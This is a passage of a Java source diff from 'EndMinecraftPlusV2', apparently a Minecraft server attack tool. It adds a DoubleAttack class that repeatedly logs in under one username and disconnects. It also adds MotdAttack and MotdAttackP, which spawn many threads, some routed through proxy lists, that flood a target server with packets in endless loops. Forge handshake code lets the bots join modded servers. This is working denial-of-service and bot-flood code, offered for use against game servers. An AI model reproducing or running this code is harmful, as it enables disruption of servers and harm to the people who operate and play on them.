} else {
|
||||||
|
if (!message.getText().equals("")) {
|
||||||
|
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!alivePlayers.contains(username)) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
||||||
|
for (Message extraMessage:message.getExtra()) {
|
||||||
|
clickVerifiesHandle(extraMessage, session, username);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,37 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||||
|
import com.github.steveice10.packetlib.Client;
|
||||||
|
import com.github.steveice10.packetlib.Session;
|
||||||
|
import com.github.steveice10.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.net.Proxy;
|
||||||
|
|
||||||
|
public class DoubleAttack extends BotAttack {
|
||||||
|
private String username;
|
||||||
|
private Integer totalTimes = 0;
|
||||||
|
private Integer runTimes = 0;
|
||||||
|
|
||||||
|
public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
super(ip, port, time, maxconnect, joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setUsername(String username) {
|
||||||
|
this.username = username;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Client createClient(String ip, int port, String username, Proxy proxy) {
|
||||||
|
totalTimes++;
|
||||||
|
return super.createClient(ip, port, this.username, proxy);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void handlePacket(Session session, Packet recvPacket, String username) {
|
||||||
|
super.handlePacket(session, recvPacket, username);
|
||||||
|
if (recvPacket instanceof ServerJoinGamePacket) {
|
||||||
|
session.disconnect("Double Exploit - Connection Reset!");
|
||||||
|
runTimes++;
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,22 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
public abstract class IAttack {
|
||||||
|
public String ip;
|
||||||
|
public int port;
|
||||||
|
|
||||||
|
public int attack_time;
|
||||||
|
public int attack_maxconnect;
|
||||||
|
public long attack_joinsleep;
|
||||||
|
|
||||||
|
public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
this.ip = ip;
|
||||||
|
this.port = port;
|
||||||
|
this.attack_time = time;
|
||||||
|
this.attack_maxconnect = maxconnect;
|
||||||
|
this.attack_joinsleep = joinsleep;
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract void start();
|
||||||
|
|
||||||
|
public abstract void stop();
|
||||||
|
}
|
@ -0,0 +1,73 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class MotdAttack extends IAttack {
|
||||||
|
public List<Thread> threads = new ArrayList<>();
|
||||||
|
private int runTimes = 0;
|
||||||
|
private int errorTimes = 0;
|
||||||
|
public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
super(ip, port, time, maxconnect, joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
Runnable task = () -> {
|
||||||
|
while (true) {
|
||||||
|
try {
|
||||||
|
Socket socket = new Socket();
|
||||||
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
if (socket.isConnected()) {
|
||||||
|
LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName());
|
||||||
|
OutputStream out = socket.getOutputStream();
|
||||||
|
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
|
||||||
|
out.flush();
|
||||||
|
while (socket.isConnected()) {
|
||||||
|
for (int i = 0; i < 10; i++) {
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
||||||
|
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||||
|
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
|
||||||
|
runTimes++;
|
||||||
|
}
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
out.close();
|
||||||
|
socket.close();
|
||||||
|
} catch (IOException ignored) {}
|
||||||
|
LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName());
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
|
||||||
|
errorTimes++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (this.attack_maxconnect < 1) {
|
||||||
|
this.attack_maxconnect = 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < this.attack_maxconnect; i++) {
|
||||||
|
Thread thread = new Thread(task);
|
||||||
|
thread.setName(String.valueOf(i + 1));
|
||||||
|
thread.start();
|
||||||
|
threads.add(thread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("deprecation")
|
||||||
|
public void stop() {
|
||||||
|
threads.forEach(Thread::stop);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,92 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Proxy;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class MotdAttackP extends IAttack {
|
||||||
|
public List<Thread> threads = new ArrayList<>();
|
||||||
|
private int runTimes = 0;
|
||||||
|
private int errorTimes = 0;
|
||||||
|
|
||||||
|
public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
|
super(ip, port, time, maxconnect, joinsleep);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
Proxy.Type proxyType;
|
||||||
|
switch (ConfigUtil.ProxyType) {
|
||||||
|
case 2:
|
||||||
|
proxyType = Proxy.Type.SOCKS;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
default:
|
||||||
|
proxyType = Proxy.Type.HTTP;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String p: ProxyUtil.proxies) {
|
||||||
|
try {
|
||||||
|
String[] _p = p.split(":");
|
||||||
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
|
Thread thread = createThread(proxy, ip, port);
|
||||||
|
thread.start();
|
||||||
|
threads.add(thread);
|
||||||
|
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect))
|
||||||
|
return;
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1,"发生错误: " + e, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("deprecation")
|
||||||
|
public void stop() {
|
||||||
|
threads.forEach(Thread::stop);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Thread createThread(Proxy proxy, String ip, int port) {
|
||||||
|
Runnable task = () -> {
|
||||||
|
while (true) {
|
||||||
|
try {
|
||||||
|
Socket socket = new Socket(proxy);
|
||||||
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
|
if (socket.isConnected()) {
|
||||||
|
LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName());
|
||||||
|
OutputStream out = socket.getOutputStream();
|
||||||
|
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||||
|
out.flush();
|
||||||
|
while (socket.isConnected()) {
|
||||||
|
for (int i = 0; i < 10; i++) {
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
||||||
|
out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||||
|
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
|
||||||
|
runTimes++;
|
||||||
|
}
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
out.close();
|
||||||
|
socket.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName());
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
|
||||||
|
errorTimes++;
|
||||||
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return new Thread(task);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,94 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods;
|
||||||
|
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientTabCompletePacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||||
|
import com.github.steveice10.packetlib.Session;
|
||||||
|
import com.github.steveice10.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
public class MultiVersionPacket {
|
||||||
|
public static void sendTabPacket(Session session, String text) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = ClientTabCompletePacket.class;
|
||||||
|
Constructor<?> constructor = cls.getDeclaredConstructor();
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance();
|
||||||
|
Field field = cls.getDeclaredField("text");
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(packet, text);
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = ClientPlayerPositionRotationPacket.class;
|
||||||
|
Constructor<?> constructor;
|
||||||
|
ClientPlayerPositionRotationPacket packet;
|
||||||
|
try {
|
||||||
|
constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class);
|
||||||
|
packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch);
|
||||||
|
} catch (NoSuchMethodException ex) {
|
||||||
|
constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class);
|
||||||
|
packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch);
|
||||||
|
}
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendClientSettingPacket(Session session, String locale) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = ClientSettingsPacket.class;
|
||||||
|
Constructor<?> constructor;
|
||||||
|
ClientSettingsPacket packet;
|
||||||
|
try {
|
||||||
|
Class<?> parm1Class = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility");
|
||||||
|
Class<?> parm2Class = Class.forName("[Lcom.github.steveice10.mc.protocol.data.game.setting.SkinPart;");
|
||||||
|
Class<?> parm3Class = Class.forName("com.github.steveice10.mc.protocol.data.game.entity.player.Hand");
|
||||||
|
|
||||||
|
Class<?> skinClass = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.SkinPart");
|
||||||
|
Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1);
|
||||||
|
Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]);
|
||||||
|
|
||||||
|
constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class);
|
||||||
|
packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]);
|
||||||
|
} catch (NoSuchMethodException ex) {
|
||||||
|
Class<?> parm1Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility");
|
||||||
|
Class<?> parm2Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty");
|
||||||
|
|
||||||
|
constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class);
|
||||||
|
packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true);
|
||||||
|
}
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket");
|
||||||
|
Constructor<?> constructor = cls.getConstructor(int.class);
|
||||||
|
Packet packet = (Packet) constructor.newInstance(slot);
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendClientTeleportConfirmPacket(Session session, int id) {
|
||||||
|
try {
|
||||||
|
Class<?> cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket");
|
||||||
|
Constructor<?> constructor = cls.getConstructor(int.class);
|
||||||
|
Packet packet = (Packet) constructor.newInstance(id);
|
||||||
|
session.send(packet);
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) {
|
||||||
|
try {
|
||||||
|
sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet));
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,113 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||||
|
import com.github.steveice10.packetlib.Session;
|
||||||
|
import com.github.steveice10.packetlib.event.session.*;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
|
public class MCForge {
|
||||||
|
private final MCForgeHandShake handshake;
|
||||||
|
|
||||||
|
public Map<String, String> modList;
|
||||||
|
public Session session;
|
||||||
|
|
||||||
|
public MCForge(Session session, Map<String, String> modList) {
|
||||||
|
this.modList = modList;
|
||||||
|
this.session = session;
|
||||||
|
this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init() {
|
||||||
|
this.session.addListener(new SessionListener() {
|
||||||
|
public void packetReceived(PacketReceivedEvent e) {
|
||||||
|
if (e.getPacket() instanceof ServerPluginMessagePacket) {
|
||||||
|
handle(e.getPacket());
|
||||||
|
} else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) {
|
||||||
|
handshake.handle(e.getPacket());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public void packetSent(PacketSentEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connected(ConnectedEvent e) {
|
||||||
|
modifyHost();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnecting(DisconnectingEvent e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnected(DisconnectedEvent e) {
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public void handle(ServerPluginMessagePacket packet) {
|
||||||
|
switch (packet.getChannel()) {
|
||||||
|
case "FML|HS":
|
||||||
|
this.handshake.handle(packet);
|
||||||
|
break;
|
||||||
|
case "REGISTER":
|
||||||
|
case "minecraft:register": // 1.13
|
||||||
|
this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData()));
|
||||||
|
break;
|
||||||
|
case "MC|Brand":
|
||||||
|
case "minecraft:brand": // 1.13
|
||||||
|
this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes()));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void modifyHost() {
|
||||||
|
try {
|
||||||
|
Class<?> cls = this.session.getClass().getSuperclass();
|
||||||
|
|
||||||
|
Field field = cls.getDeclaredField("host");
|
||||||
|
field.setAccessible(true);
|
||||||
|
|
||||||
|
field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0");
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean isVersion1710() {
|
||||||
|
return (getProtocolVersion() == 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean isAfterVersion1_13() {
|
||||||
|
return (getProtocolVersion() >= 393);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int getProtocolVersion() {
|
||||||
|
try {
|
||||||
|
Class<?> cls;
|
||||||
|
try {
|
||||||
|
cls = Class.forName("com.github.steveice10.mc.protocol.ProtocolConstants");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
cls = Class.forName("com.github.steveice10.mc.protocol.MinecraftConstants");
|
||||||
|
}
|
||||||
|
|
||||||
|
Field field = cls.getDeclaredField("PROTOCOL_VERSION");
|
||||||
|
return field.getInt(null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1, "检测Minecraft协议版本时发生错误!", null);
|
||||||
|
LogUtil.doLog(0, "=========================================================", "ForgeSupport");
|
||||||
|
LogUtil.doLog(0, " 如果你不知道这是什么,请查阅", "ForgeSupport");
|
||||||
|
LogUtil.doLog(0, " https://minecraft.fandom.com/zh/wiki/协议版本?variant=zh", "ForgeSupport");
|
||||||
|
LogUtil.doLog(0, "=========================================================", "ForgeSupport");
|
||||||
|
LogUtil.doLog(-1, "请手动输入协议版本: ", "ForgeSupport");
|
||||||
|
Scanner scanner = new Scanner(System.in);
|
||||||
|
return Integer.parseInt(scanner.nextLine());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,14 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import com.github.steveice10.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
public abstract class MCForgeHandShake {
|
||||||
|
protected MCForge forge;
|
||||||
|
|
||||||
|
public MCForgeHandShake(MCForge forge) {
|
||||||
|
this.forge = forge;
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract void handle(Packet recvPacket);
|
||||||
|
public abstract String getFMLVersion();
|
||||||
|
}
|
@ -0,0 +1,75 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||||
|
import com.github.steveice10.packetlib.Session;
|
||||||
|
import com.github.steveice10.packetlib.io.stream.StreamNetOutput;
|
||||||
|
import com.github.steveice10.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class MCForgeHandShakeV1 extends MCForgeHandShake {
|
||||||
|
public MCForgeHandShakeV1(MCForge forge) {
|
||||||
|
super(forge);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void handle(Packet recvPacket) {
|
||||||
|
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||||
|
Session session = forge.session;
|
||||||
|
|
||||||
|
byte[] data = packet.getData();
|
||||||
|
int packetID = data[0];
|
||||||
|
|
||||||
|
switch (packetID) {
|
||||||
|
case 0: // Hello
|
||||||
|
sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 });
|
||||||
|
|
||||||
|
// ModList
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
StreamNetOutput out = new StreamNetOutput(buf);
|
||||||
|
try {
|
||||||
|
out.writeVarInt(2);
|
||||||
|
out.writeByte(forge.modList.size());
|
||||||
|
forge.modList.forEach((k, v) -> {
|
||||||
|
try {
|
||||||
|
out.writeString(k);
|
||||||
|
out.writeString(v);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
sendPluginMessage(session, packet.getChannel(), buf.toByteArray());
|
||||||
|
break;
|
||||||
|
case 2: // ModList
|
||||||
|
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA)
|
||||||
|
break;
|
||||||
|
case 3: // RegistryData
|
||||||
|
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE)
|
||||||
|
break;
|
||||||
|
case -1: // HandshakeAck
|
||||||
|
int ackID = data[1];
|
||||||
|
switch (ackID) {
|
||||||
|
case 2: // WAITING CACK
|
||||||
|
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE
|
||||||
|
break;
|
||||||
|
case 3: // COMPLETE
|
||||||
|
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFMLVersion() {
|
||||||
|
return "FML";
|
||||||
|
}
|
||||||
|
|
||||||
|
private void sendPluginMessage(Session session, String channel, byte[] data) {
|
||||||
|
session.send(new ClientPluginMessagePacket(channel, data));
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,158 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
|
||||||
|
|
||||||
|
import com.github.steveice10.mc.protocol.packet.login.client.LoginPluginResponsePacket;
|
||||||
|
import com.github.steveice10.mc.protocol.packet.login.server.LoginPluginRequestPacket;
|
||||||
|
import com.github.steveice10.packetlib.io.buffer.ByteBufferNetInput;
|
||||||
|
import com.github.steveice10.packetlib.io.stream.StreamNetOutput;
|
||||||
|
import com.github.steveice10.packetlib.packet.Packet;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class MCForgeHandShakeV2 extends MCForgeHandShake {
|
||||||
|
private final int Packet_S2CModList = 1;
|
||||||
|
private final int Packet_C2SModListReply = 2;
|
||||||
|
private final int Packet_S2CRegistry = 3;
|
||||||
|
private final int Packet_S2CConfigData = 4;
|
||||||
|
private final int Packet_C2SAcknowledge = 99;
|
||||||
|
|
||||||
|
public MCForgeHandShakeV2(MCForge forge) {
|
||||||
|
super(forge);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void handle(Packet recvPacket) {
|
||||||
|
LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket;
|
||||||
|
if (!packet.getChannel().equals("fml:loginwrapper")) return;
|
||||||
|
|
||||||
|
try {
|
||||||
|
LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData());
|
||||||
|
String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver();
|
||||||
|
ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload()));
|
||||||
|
|
||||||
|
int packetID = in.readByte();
|
||||||
|
switch (packetID) {
|
||||||
|
case Packet_S2CModList: {
|
||||||
|
// recv: S2CModList
|
||||||
|
final List<String> mods = new ArrayList<>();
|
||||||
|
int len = in.readVarInt();
|
||||||
|
for (int x = 0; x < len; x++)
|
||||||
|
mods.add(in.readString());
|
||||||
|
|
||||||
|
final Map<String, String> channels = new HashMap<>();
|
||||||
|
len = in.readVarInt();
|
||||||
|
for (int x = 0; x < len; x++)
|
||||||
|
channels.put(in.readString(), in.readString());
|
||||||
|
|
||||||
|
final List<String> registries = new ArrayList<>();
|
||||||
|
len = in.readVarInt();
|
||||||
|
for (int x = 0; x < len; x++)
|
||||||
|
registries.add(in.readString());
|
||||||
|
// send: C2SModListReply
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
StreamNetOutput out = new StreamNetOutput(buf);
|
||||||
|
|
||||||
|
out.writeByte(Packet_C2SModListReply);
|
||||||
|
|
||||||
|
out.writeVarInt(mods.size());
|
||||||
|
mods.forEach(m -> {
|
||||||
|
try {
|
||||||
|
out.writeString(m);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
out.writeVarInt(channels.size());
|
||||||
|
channels.forEach((k, v) -> {
|
||||||
|
try {
|
||||||
|
out.writeString(k);
|
||||||
|
out.writeString(v);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java)
|
||||||
|
out.writeVarInt(0); // empty map
|
||||||
|
/*
|
||||||
|
out.writeVarInt(registries.size());
|
||||||
|
registries.forEach(r -> {
|
||||||
|
try {
|
||||||
|
out.writeString(r);
|
||||||
|
out.writeString("");
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
*/
|
||||||
|
|
||||||
|
reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case Packet_S2CRegistry:
|
||||||
|
case Packet_S2CConfigData: {
|
||||||
|
// recv: S2CRegistry
|
||||||
|
// send: C2SAcknowledge
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
StreamNetOutput out = new StreamNetOutput(buf);
|
||||||
|
|
||||||
|
out.writeByte(Packet_C2SAcknowledge);
|
||||||
|
|
||||||
|
reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
|
||||||
|
break;
|
||||||
|
}// recv: S2CConfigData
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
forge.session.disconnect("Failure to handshake", ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFMLVersion() {
|
||||||
|
return "FML2";
|
||||||
|
}
|
||||||
|
|
||||||
|
private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException {
|
||||||
|
